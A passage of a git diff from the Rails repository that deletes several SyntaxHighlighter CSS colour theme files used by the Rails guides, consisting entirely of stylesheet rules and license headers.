-.syntaxhighlighter.printing .constants {
- color: #0066cc !important;
-}
-.syntaxhighlighter.printing .script {
- font-weight: bold !important;
-}
-.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
- color: gray !important;
-}
-.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
- color: #ff1493 !important;
-}
-.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
- color: red !important;
-}
-.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
- color: black !important;
-}
-
-.syntaxhighlighter {
- background-color: #1b2426 !important;
-}
-.syntaxhighlighter .line.alt1 {
- background-color: #1b2426 !important;
-}
-.syntaxhighlighter .line.alt2 {
- background-color: #1b2426 !important;
-}
-.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
- background-color: #323e41 !important;
-}
-.syntaxhighlighter .line.highlighted.number {
- color: #b9bdb6 !important;
-}
-.syntaxhighlighter table caption {
- color: #b9bdb6 !important;
-}
-.syntaxhighlighter .gutter {
- color: #afafaf !important;
-}
-.syntaxhighlighter .gutter .line {
- border-right: 3px solid #435a5f !important;
-}
-.syntaxhighlighter .gutter .line.highlighted {
- background-color: #435a5f !important;
- color: #1b2426 !important;
-}
-.syntaxhighlighter.printing .line .content {
- border: none !important;
-}
-.syntaxhighlighter.collapsed {
- overflow: visible !important;
-}
-.syntaxhighlighter.collapsed .toolbar {
- color: #5ba1cf !important;
- background: black !important;
- border: 1px solid #435a5f !important;
-}
-.syntaxhighlighter.collapsed .toolbar a {
- color: #5ba1cf !important;
-}
-.syntaxhighlighter.collapsed .toolbar a:hover {
- color: #5ce638 !important;
-}
-.syntaxhighlighter .toolbar {
- color: white !important;
- background: #435a5f !important;
- border: none !important;
-}
-.syntaxhighlighter .toolbar a {
- color: white !important;
-}
-.syntaxhighlighter .toolbar a:hover {
- color: #e0e8ff !important;
-}
-.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
- color: #b9bdb6 !important;
-}
-.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
- color: #878a85 !important;
-}
-.syntaxhighlighter .string, .syntaxhighlighter .string a {
- color: #5ce638 !important;
-}
-.syntaxhighlighter .keyword {
- color: #5ba1cf !important;
-}
-.syntaxhighlighter .preprocessor {
- color: #435a5f !important;
-}
-.syntaxhighlighter .variable {
- color: #ffaa3e !important;
-}
-.syntaxhighlighter .value {
- color: #009900 !important;
-}
-.syntaxhighlighter .functions {
- color: #ffaa3e !important;
-}
-.syntaxhighlighter .constants {
- color: #e0e8ff !important;
-}
-.syntaxhighlighter .script {
- font-weight: bold !important;
- color: #5ba1cf !important;
- background-color: none !important;
-}
-.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
- color: #e0e8ff !important;
-}
-.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
- color: white !important;
-}
-.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
- color: #ffaa3e !important;
-}
diff --git a/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeDefault.css b/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeDefault.css
deleted file mode 100644
index 136541172d..0000000000
--- a/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeDefault.css
+++ /dev/null
@@ -1,117 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-.syntaxhighlighter {
- background-color: white !important;
-}
-.syntaxhighlighter .line.alt1 {
- background-color: white !important;
-}
-.syntaxhighlighter .line.alt2 {
- background-color: white !important;
-}
-.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
- background-color: #e0e0e0 !important;
-}
-.syntaxhighlighter .line.highlighted.number {
- color: black !important;
-}
-.syntaxhighlighter table caption {
- color: black !important;
-}
-.syntaxhighlighter .gutter {
- color: #afafaf !important;
-}
-.syntaxhighlighter .gutter .line {
- border-right: 3px solid #6ce26c !important;
-}
-.syntaxhighlighter .gutter .line.highlighted {
- background-color: #6ce26c !important;
- color: white !important;
-}
-.syntaxhighlighter.printing .line .content {
- border: none !important;
-}
-.syntaxhighlighter.collapsed {
- overflow: visible !important;
-}
-.syntaxhighlighter.collapsed .toolbar {
- color: blue !important;
- background: white !important;
- border: 1px solid #6ce26c !important;
-}
-.syntaxhighlighter.collapsed .toolbar a {
- color: blue !important;
-}
-.syntaxhighlighter.collapsed .toolbar a:hover {
- color: red !important;
-}
-.syntaxhighlighter .toolbar {
- color: white !important;
- background: #6ce26c !important;
- border: none !important;
-}
-.syntaxhighlighter .toolbar a {
- color: white !important;
-}
-.syntaxhighlighter .toolbar a:hover {
- color: black !important;
-}
-.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
- color: black !important;
-}
-.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
- color: #008200 !important;
-}
-.syntaxhighlighter .string, .syntaxhighlighter .string a {
- color: blue !important;
-}
-.syntaxhighlighter .keyword {
- color: #006699 !important;
-}
-.syntaxhighlighter .preprocessor {
- color: gray !important;
-}
-.syntaxhighlighter .variable {
- color: #aa7700 !important;
-}
-.syntaxhighlighter .value {
- color: #009900 !important;
-}
-.syntaxhighlighter .functions {
- color: #ff1493 !important;
-}
-.syntaxhighlighter .constants {
- color: #0066cc !important;
-}
-.syntaxhighlighter .script {
- font-weight: bold !important;
- color: #006699 !important;
- background-color: none !important;
-}
-.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
- color: gray !important;
-}
-.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
- color: #ff1493 !important;
-}
-.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
- color: red !important;
-}
-
-.syntaxhighlighter .keyword {
- font-weight: bold !important;
-}
diff --git a/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeDjango.css b/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeDjango.css
deleted file mode 100644
index d8b4313433..0000000000
--- a/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeDjango.css
+++ /dev/null
@@ -1,120 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-.syntaxhighlighter {
- background-color: #0a2b1d !important;
-}
-.syntaxhighlighter .line.alt1 {
- background-color: #0a2b1d !important;
-}
-.syntaxhighlighter .line.alt2 {
- background-color: #0a2b1d !important;
-}
-.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
- background-color: #233729 !important;
-}
-.syntaxhighlighter .line.highlighted.number {
- color: white !important;
-}
-.syntaxhighlighter table caption {
- color: #f8f8f8 !important;
-}
-.syntaxhighlighter .gutter {
- color: #497958 !important;
-}
-.syntaxhighlighter .gutter .line {
- border-right: 3px solid #41a83e !important;
-}
-.syntaxhighlighter .gutter .line.highlighted {
- background-color: #41a83e !important;
- color: #0a2b1d !important;
-}
-.syntaxhighlighter.printing .line .content {
- border: none !important;
-}
-.syntaxhighlighter.collapsed {
- overflow: visible !important;
-}
-.syntaxhighlighter.collapsed .toolbar {
- color: #96dd3b !important;
- background: black !important;
- border: 1px solid #41a83e !important;
-}
-.syntaxhighlighter.collapsed .toolbar a {
- color: #96dd3b !important;
-}
-.syntaxhighlighter.collapsed .toolbar a:hover {
- color: white !important;
-}
-.syntaxhighlighter .toolbar {
- color: white !important;
- background: #41a83e !important;
- border: none !important;
-}
-.syntaxhighlighter .toolbar a {
- color: white !important;
-}
-.syntaxhighlighter .toolbar a:hover {
- color: #ffe862 !important;
-}
-.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
- color: #f8f8f8 !important;
-}
-.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
- color: #336442 !important;
-}
-.syntaxhighlighter .string, .syntaxhighlighter .string a {
- color: #9df39f !important;
-}
-.syntaxhighlighter .keyword {
- color: #96dd3b !important;
-}
-.syntaxhighlighter .preprocessor {
- color: #91bb9e !important;
-}
-.syntaxhighlighter .variable {
- color: #ffaa3e !important;
-}
-.syntaxhighlighter .value {
- color: #f7e741 !important;
-}
-.syntaxhighlighter .functions {
- color: #ffaa3e !important;
-}
-.syntaxhighlighter .constants {
- color: #e0e8ff !important;
-}
-.syntaxhighlighter .script {
- font-weight: bold !important;
- color: #96dd3b !important;
- background-color: none !important;
-}
-.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
- color: #eb939a !important;
-}
-.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
- color: #91bb9e !important;
-}
-.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
- color: #edef7d !important;
-}
-
-.syntaxhighlighter .comments {
- font-style: italic !important;
-}
-.syntaxhighlighter .keyword {
- font-weight: bold !important;
-}
diff --git a/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeEclipse.css b/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeEclipse.css
deleted file mode 100644
index 77377d9533..0000000000
--- a/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeEclipse.css
+++ /dev/null
@@ -1,128 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-.syntaxhighlighter {
- background-color: white !important;
-}
-.syntaxhighlighter .line.alt1 {
- background-color: white !important;
-}
-.syntaxhighlighter .line.alt2 {
- background-color: white !important;
-}
-.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
- background-color: #c3defe !important;
-}
-.syntaxhighlighter .line.highlighted.number {
- color: white !important;
-}
-.syntaxhighlighter table caption {
- color: black !important;
-}
-.syntaxhighlighter .gutter {
- color: #787878 !important;
-}
-.syntaxhighlighter .gutter .line {
- border-right: 3px solid #d4d0c8 !important;
-}
-.syntaxhighlighter .gutter .line.highlighted {
- background-color: #d4d0c8 !important;
- color: white !important;
-}
-.syntaxhighlighter.printing .line .content {
- border: none !important;
-}
-.syntaxhighlighter.collapsed {
- overflow: visible !important;
-}
-.syntaxhighlighter.collapsed .toolbar {
- color: #3f5fbf !important;
- background: white !important;
- border: 1px solid #d4d0c8 !important;
-}
-.syntaxhighlighter.collapsed .toolbar a {
- color: #3f5fbf !important;
-}
-.syntaxhighlighter.collapsed .toolbar a:hover {
- color: #aa7700 !important;
-}
-.syntaxhighlighter .toolbar {
- color: #a0a0a0 !important;
- background: #d4d0c8 !important;
- border: none !important;
-}
-.syntaxhighlighter .toolbar a {
- color: #a0a0a0 !important;
-}
-.syntaxhighlighter .toolbar a:hover {
- color: red !important;
-}
-.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
- color: black !important;
-}
-.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
- color: #3f5fbf !important;
-}
-.syntaxhighlighter .string, .syntaxhighlighter .string a {
- color: #2a00ff !important;
-}
-.syntaxhighlighter .keyword {
- color: #7f0055 !important;
-}
-.syntaxhighlighter .preprocessor {
- color: #646464 !important;
-}
-.syntaxhighlighter .variable {
- color: #aa7700 !important;
-}
-.syntaxhighlighter .value {
- color: #009900 !important;
-}
-.syntaxhighlighter .functions {
- color: #ff1493 !important;
-}
-.syntaxhighlighter .constants {
- color: #0066cc !important;
-}
-.syntaxhighlighter .script {
- font-weight: bold !important;
- color: #7f0055 !important;
- background-color: none !important;
-}
-.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
- color: gray !important;
-}
-.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
- color: #ff1493 !important;
-}
-.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
- color: red !important;
-}
-
-.syntaxhighlighter .keyword {
- font-weight: bold !important;
-}
-.syntaxhighlighter .xml .keyword {
- color: #3f7f7f !important;
- font-weight: normal !important;
-}
-.syntaxhighlighter .xml .color1, .syntaxhighlighter .xml .color1 a {
- color: #7f007f !important;
-}
-.syntaxhighlighter .xml .string {
- font-style: italic !important;
- color: #2a00ff !important;
-}
diff --git a/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeEmacs.css b/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeEmacs.css
deleted file mode 100644
index dae5053fea..0000000000
--- a/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeEmacs.css
+++ /dev/null
@@ -1,113 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-.syntaxhighlighter {
- background-color: black !important;
-}
-.syntaxhighlighter .line.alt1 {
- background-color: black !important;
-}
-.syntaxhighlighter .line.alt2 {
- background-color: black !important;
-}
-.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
- background-color: #2a3133 !important;
-}
-.syntaxhighlighter .line.highlighted.number {
- color: white !important;
-}
-.syntaxhighlighter table caption {
- color: #d3d3d3 !important;
-}
-.syntaxhighlighter .gutter {
- color: #d3d3d3 !important;
-}
-.syntaxhighlighter .gutter .line {
- border-right: 3px solid #990000 !important;
-}
-.syntaxhighlighter .gutter .line.highlighted {
- background-color: #990000 !important;
- color: black !important;
-}
-.syntaxhighlighter.printing .line .content {
- border: none !important;
-}
-.syntaxhighlighter.collapsed {
- overflow: visible !important;
-}
-.syntaxhighlighter.collapsed .toolbar {
- color: #ebdb8d !important;
- background: black !important;
- border: 1px solid #990000 !important;
-}
-.syntaxhighlighter.collapsed .toolbar a {
- color: #ebdb8d !important;
-}
-.syntaxhighlighter.collapsed .toolbar a:hover {
- color: #ff7d27 !important;
-}
-.syntaxhighlighter .toolbar {
- color: white !important;
- background: #990000 !important;
- border: none !important;
-}
-.syntaxhighlighter .toolbar a {
- color: white !important;
-}
-.syntaxhighlighter .toolbar a:hover {
- color: #9ccff4 !important;
-}
-.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
- color: #d3d3d3 !important;
-}
-.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
- color: #ff7d27 !important;
-}
-.syntaxhighlighter .string, .syntaxhighlighter .string a {
- color: #ff9e7b !important;
-}
-.syntaxhighlighter .keyword {
- color: aqua !important;
-}
-.syntaxhighlighter .preprocessor {
- color: #aec4de !important;
-}
-.syntaxhighlighter .variable {
- color: #ffaa3e !important;
-}
-.syntaxhighlighter .value {
- color: #009900 !important;
-}
-.syntaxhighlighter .functions {
- color: #81cef9 !important;
-}
-.syntaxhighlighter .constants {
- color: #ff9e7b !important;
-}
-.syntaxhighlighter .script {
- font-weight: bold !important;
- color: aqua !important;
- background-color: none !important;
-}
-.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
- color: #ebdb8d !important;
-}
-.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
- color: #ff7d27 !important;
-}
-.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
- color: #aec4de !important;
-}
diff --git a/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeFadeToGrey.css b/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeFadeToGrey.css
deleted file mode 100644
index 8fbd871fb5..0000000000
--- a/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeFadeToGrey.css
+++ /dev/null
@@ -1,117 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-.syntaxhighlighter {
- background-color: #121212 !important;
-}
-.syntaxhighlighter .line.alt1 {
- background-color: #121212 !important;
-}
-.syntaxhighlighter .line.alt2 {
- background-color: #121212 !important;
-}
-.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
- background-color: #2c2c29 !important;
-}
-.syntaxhighlighter .line.highlighted.number {
- color: white !important;
-}
-.syntaxhighlighter table caption {
- color: white !important;
-}
-.syntaxhighlighter .gutter {
- color: #afafaf !important;
-}
-.syntaxhighlighter .gutter .line {
- border-right: 3px solid #3185b9 !important;
-}
-.syntaxhighlighter .gutter .line.highlighted {
- background-color: #3185b9 !important;
- color: #121212 !important;
-}
-.syntaxhighlighter.printing .line .content {
- border: none !important;
-}
-.syntaxhighlighter.collapsed {
- overflow: visible !important;
-}
-.syntaxhighlighter.collapsed .toolbar {
- color: #3185b9 !important;
- background: black !important;
- border: 1px solid #3185b9 !important;
-}
-.syntaxhighlighter.collapsed .toolbar a {
- color: #3185b9 !important;
-}
-.syntaxhighlighter.collapsed .toolbar a:hover {
- color: #d01d33 !important;
-}
-.syntaxhighlighter .toolbar {
- color: white !important;
- background: #3185b9 !important;
- border: none !important;
-}
-.syntaxhighlighter .toolbar a {
- color: white !important;
-}
-.syntaxhighlighter .toolbar a:hover {
- color: #96daff !important;
-}
-.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
- color: white !important;
-}
-.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
- color: #696854 !important;
-}
-.syntaxhighlighter .string, .syntaxhighlighter .string a {
- color: #e3e658 !important;
-}
-.syntaxhighlighter .keyword {
- color: #d01d33 !important;
-}
-.syntaxhighlighter .preprocessor {
- color: #435a5f !important;
-}
-.syntaxhighlighter .variable {
- color: #898989 !important;
-}
-.syntaxhighlighter .value {
- color: #009900 !important;
-}
-.syntaxhighlighter .functions {
- color: #aaaaaa !important;
-}
-.syntaxhighlighter .constants {
- color: #96daff !important;
-}
-.syntaxhighlighter .script {
- font-weight: bold !important;
- color: #d01d33 !important;
- background-color: none !important;
-}
-.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
- color: #ffc074 !important;
-}
-.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
- color: #4a8cdb !important;
-}
-.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
- color: #96daff !important;
-}
-
-.syntaxhighlighter .functions {
- font-weight: bold !important;
-}
diff --git a/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeMDUltra.css b/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeMDUltra.css
deleted file mode 100755
index f4db39cd83..0000000000
--- a/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeMDUltra.css
+++ /dev/null
@@ -1,113 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-.syntaxhighlighter {
- background-color: #222222 !important;
-}
-.syntaxhighlighter .line.alt1 {
- background-color: #222222 !important;
-}
-.syntaxhighlighter .line.alt2 {
- background-color: #222222 !important;
-}
-.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
- background-color: #253e5a !important;
-}
-.syntaxhighlighter .line.highlighted.number {
- color: white !important;
-}
-.syntaxhighlighter table caption {
- color: lime !important;
-}
-.syntaxhighlighter .gutter {
- color: #38566f !important;
-}
-.syntaxhighlighter .gutter .line {
- border-right: 3px solid #435a5f !important;
-}
-.syntaxhighlighter .gutter .line.highlighted {
- background-color: #435a5f !important;
- color: #222222 !important;
-}
-.syntaxhighlighter.printing .line .content {
- border: none !important;
-}
-.syntaxhighlighter.collapsed {
- overflow: visible !important;
-}
-.syntaxhighlighter.collapsed .toolbar {
- color: #428bdd !important;
- background: black !important;
- border: 1px solid #435a5f !important;
-}
-.syntaxhighlighter.collapsed .toolbar a {
- color: #428bdd !important;
-}
-.syntaxhighlighter.collapsed .toolbar a:hover {
- color: lime !important;
-}
-.syntaxhighlighter .toolbar {
- color: #aaaaff !important;
- background: #435a5f !important;
- border: none !important;
-}
-.syntaxhighlighter .toolbar a {
- color: #aaaaff !important;
-}
-.syntaxhighlighter .toolbar a:hover {
- color: #9ccff4 !important;
-}
-.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
- color: lime !important;
-}
-.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
- color: #428bdd !important;
-}
-.syntaxhighlighter .string, .syntaxhighlighter .string a {
- color: lime !important;
-}
-.syntaxhighlighter .keyword {
- color: #aaaaff !important;
-}
-.syntaxhighlighter .preprocessor {
- color: #8aa6c1 !important;
-}
-.syntaxhighlighter .variable {
- color: aqua !important;
-}
-.syntaxhighlighter .value {
- color: #f7e741 !important;
-}
-.syntaxhighlighter .functions {
- color: #ff8000 !important;
-}
-.syntaxhighlighter .constants {
- color: yellow !important;
-}
-.syntaxhighlighter .script {
- font-weight: bold !important;
- color: #aaaaff !important;
- background-color: none !important;
-}
-.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
- color: red !important;
-}
-.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
- color: yellow !important;
-}
-.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
- color: #ffaa3e !important;
-}
diff --git a/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeMidnight.css b/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeMidnight.css
deleted file mode 100644
index c49563cc9d..0000000000
--- a/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeMidnight.css
+++ /dev/null
@@ -1,113 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-.syntaxhighlighter {
- background-color: #0f192a !important;
-}
-.syntaxhighlighter .line.alt1 {
- background-color: #0f192a !important;
-}
-.syntaxhighlighter .line.alt2 {
- background-color: #0f192a !important;
-}
-.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
- background-color: #253e5a !important;
-}
-.syntaxhighlighter .line.highlighted.number {
- color: #38566f !important;
-}
-.syntaxhighlighter table caption {
- color: #d1edff !important;
-}
-.syntaxhighlighter .gutter {
- color: #afafaf !important;
-}
-.syntaxhighlighter .gutter .line {
- border-right: 3px solid #435a5f !important;
-}
-.syntaxhighlighter .gutter .line.highlighted {
- background-color: #435a5f !important;
- color: #0f192a !important;
-}
-.syntaxhighlighter.printing .line .content {
- border: none !important;
-}
-.syntaxhighlighter.collapsed {
- overflow: visible !important;
-}
-.syntaxhighlighter.collapsed .toolbar {
- color: #428bdd !important;
- background: black !important;
- border: 1px solid #435a5f !important;
-}
-.syntaxhighlighter.collapsed .toolbar a {
- color: #428bdd !important;
-}
-.syntaxhighlighter.collapsed .toolbar a:hover {
- color: #1dc116 !important;
-}
-.syntaxhighlighter .toolbar {
- color: #d1edff !important;
- background: #435a5f !important;
- border: none !important;
-}
-.syntaxhighlighter .toolbar a {
- color: #d1edff !important;
-}
-.syntaxhighlighter .toolbar a:hover {
- color: #8aa6c1 !important;
-}
-.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
- color: #d1edff !important;
-}
-.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
- color: #428bdd !important;
-}
-.syntaxhighlighter .string, .syntaxhighlighter .string a {
- color: #1dc116 !important;
-}
-.syntaxhighlighter .keyword {
- color: #b43d3d !important;
-}
-.syntaxhighlighter .preprocessor {
- color: #8aa6c1 !important;
-}
-.syntaxhighlighter .variable {
- color: #ffaa3e !important;
-}
-.syntaxhighlighter .value {
- color: #f7e741 !important;
-}
-.syntaxhighlighter .functions {
- color: #ffaa3e !important;
-}
-.syntaxhighlighter .constants {
- color: #e0e8ff !important;
-}
-.syntaxhighlighter .script {
- font-weight: bold !important;
- color: #b43d3d !important;
- background-color: none !important;
-}
-.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
- color: #f8bb00 !important;
-}
-.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
- color: white !important;
-}
-.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
- color: #ffaa3e !important;
-}
diff --git a/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeRDark.css b/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeRDark.css
deleted file mode 100644
index 6305a10e4e..0000000000
--- a/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeRDark.css
+++ /dev/null
@@ -1,113 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-.syntaxhighlighter {
- background-color: #1b2426 !important;
-}
-.syntaxhighlighter .line.alt1 {
- background-color: #1b2426 !important;
-}
-.syntaxhighlighter .line.alt2 {
- background-color: #1b2426 !important;
-}
-.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
- background-color: #323e41 !important;
-}
-.syntaxhighlighter .line.highlighted.number {
- color: #b9bdb6 !important;
-}
-.syntaxhighlighter table caption {
- color: #b9bdb6 !important;
-}
-.syntaxhighlighter .gutter {
- color: #afafaf !important;
-}
-.syntaxhighlighter .gutter .line {
- border-right: 3px solid #435a5f !important;
-}
-.syntaxhighlighter .gutter .line.highlighted {
- background-color: #435a5f !important;
- color: #1b2426 !important;
-}
-.syntaxhighlighter.printing .line .content {
- border: none !important;
-}
-.syntaxhighlighter.collapsed {
- overflow: visible !important;
-}
-.syntaxhighlighter.collapsed .toolbar {
- color: #5ba1cf !important;
- background: black !important;
- border: 1px solid #435a5f !important;
-}
-.syntaxhighlighter.collapsed .toolbar a {
- color: #5ba1cf !important;
-}
-.syntaxhighlighter.collapsed .toolbar a:hover {
- color: #5ce638 !important;
-}
-.syntaxhighlighter .toolbar {
- color: white !important;
- background: #435a5f !important;
- border: none !important;
-}
-.syntaxhighlighter .toolbar a {
- color: white !important;
-}
-.syntaxhighlighter .toolbar a:hover {
- color: #e0e8ff !important;
-}
-.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
- color: #b9bdb6 !important;
-}
-.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
- color: #878a85 !important;
-}
-.syntaxhighlighter .string, .syntaxhighlighter .string a {
- color: #5ce638 !important;
-}
-.syntaxhighlighter .keyword {
- color: #5ba1cf !important;
-}
-.syntaxhighlighter .preprocessor {
- color: #435a5f !important;
-}
-.syntaxhighlighter .variable {
- color: #ffaa3e !important;
-}
-.syntaxhighlighter .value {
- color: #009900 !important;
-}
-.syntaxhighlighter .functions {
- color: #ffaa3e !important;
-}
-.syntaxhighlighter .constants {
- color: #e0e8ff !important;
-}
-.syntaxhighlighter .script {
- font-weight: bold !important;
- color: #5ba1cf !important;
- background-color: none !important;
-}
-.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
- color: #e0e8ff !important;
-}
-.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
- color: white !important;
-}
-.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
- color: #ffaa3e !important;
-}
diff --git a/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeRailsGuides.css b/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeRailsGuides.css
deleted file mode 100644
index 6d2edb2eb8..0000000000
--- a/railties/guides/assets/stylesheets/syntaxhighlighter/shThemeRailsGuides.css
+++ /dev/null
@@ -1,116 +0,0 @@
-/**
- * Theme by fxn, took shThemeEclipse.css as starting point.
- */
-.syntaxhighlighter {
- background-color: #eee !important;
- font-family: "Anonymous Pro", "Inconsolata", "Menlo", "Consolas", "Bitstream Vera Sans Mono", "Courier New", monospace !important;
- overflow-y: hidden !important;
- overflow-x: auto !important;
-}
-.syntaxhighlighter .line.alt1 {
- background-color: #eee !important;
-}
-.syntaxhighlighter .line.alt2 {
- background-color: #eee !important;
-}
-.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
- background-color: #c3defe !important;
-}
-.syntaxhighlighter .line.highlighted.number {
- color: #eee !important;
-}
-.syntaxhighlighter table caption {
- color: #222 !important;
-}
-.syntaxhighlighter .gutter {
- color: #787878 !important;
-}
-.syntaxhighlighter .gutter .line {
